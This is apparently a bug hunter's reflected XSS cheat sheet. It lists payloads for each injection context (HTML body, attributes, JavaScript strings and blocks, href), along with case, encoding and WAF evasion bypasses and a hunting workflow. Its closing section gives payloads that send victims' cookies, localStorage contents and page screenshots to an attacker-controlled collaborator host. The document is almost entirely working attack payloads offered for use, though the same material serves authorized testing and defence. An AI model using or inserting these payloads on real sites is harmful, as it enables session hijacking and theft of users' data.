Reflected XSS
The classic. Input comes in, gets sanitized (or not), and reflects back in the response. Context is everything - I've bypassed "sanitized" output a dozen times just by reading where the input actually lands.
Context Matrix
flowchart LR A[Your Input] --> B{Context} B --> C["HTML Body"] B --> D["Attribute Value"] B --> E["JS String"] B --> F["JS Block"] B --> G["URL / href"]
HTML Body Context
Input lands directly in markup. Simplest case.
<!-- Reflection: <div>SEARCH_TERM</div> -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>Attribute Context - Unquoted
<!-- Reflection: <input value=TERM> -->
TERM onmouseover=alert(1)
TERM autofocus onfocus=alert(1)Attribute Context - Double-Quoted
<!-- Reflection: <input value="TERM"> -->
" onmouseover="alert(1)
" autofocus onfocus="alert(1)
"><img src=x onerror=alert(1)>Attribute Context - Single-Quoted
<!-- Reflection: <input value='TERM'> -->
' onmouseover='alert(1)
'><svg onload='alert(1)'>JavaScript String Context
// Reflection: var name = 'TERM';
'-alert(1)-'
\';alert(1)//
</script><script>alert(1)</script>JavaScript Block Context (unquoted value)
// Reflection: var id = TERM;
alert(1)
1;alert(1)URL / href Context
<!-- Reflection: <a href="TERM"> -->
javascript:alert(1)
data:text/html,<script>alert(1)</script>Filter Bypass Techniques
Tag/Event Obfuscation
<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
<!-- Null bytes / extra chars (old filters) -->
<scr\x00ipt>alert(1)</scr\x00ipt>
<!-- Unusual tags that fire events -->
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>Encoding Tricks
<!-- HTML entities inside event handlers -->
<img src=x onerror=alert(1)>
<!-- URL encoding in href -->
<a href="javascript:%61%6c%65%72%74%28%31%29">click</a>
<!-- Double encoding -->
<a href="javascript:%2561%256c%2565%2572%2574(1)">click</a>Breaking Out of Context
<!-- Escape JS string, inject new block -->
</script><script>alert(1)</script>
<!-- Comment injection to bypass partial filters -->
<!--<script>-->alert(1)<!--</script>-->WAF Evasion - Quick Reference
See WAF Bypass for deep coverage. Key quick wins:
<!-- Space alternatives -->
<img/src=x/onerror=alert(1)>
<svg onload=alert(1)> <!-- tab instead of space -->
<!-- Bracket alternatives -->
<img src=x onerror="alert`1`">
<img src=x onerror=alert(document['cookie'])>Hunting Workflow
- Inject a unique string (e.g.,
xsstest1234) - no special chars - confirm reflection and context. - Build the minimal breaking payload for that context.
- If blocked, try encoding, case variation, alternate tags/events.
- Use Burp's Intruder with
fuzz-xss.txtfrom PayloadsAllTheThings when going broad.
PoC Upgrade - From alert(1) to Impact
// Exfil cookies
<img src=x onerror="fetch('https://COLLAB/?c='+btoa(document.cookie))">
// Exfil localStorage
<img src=x onerror="fetch('https://COLLAB/?l='+btoa(JSON.stringify(localStorage)))">
// Full page screenshot via html2canvas (stored XSS)
<script src=https://html2canvas.hertzen.com/dist/html2canvas.min.js></script>
<script>html2canvas(document.body).then(c=>fetch('https://COLLAB/?i='+c.toDataURL()))</script>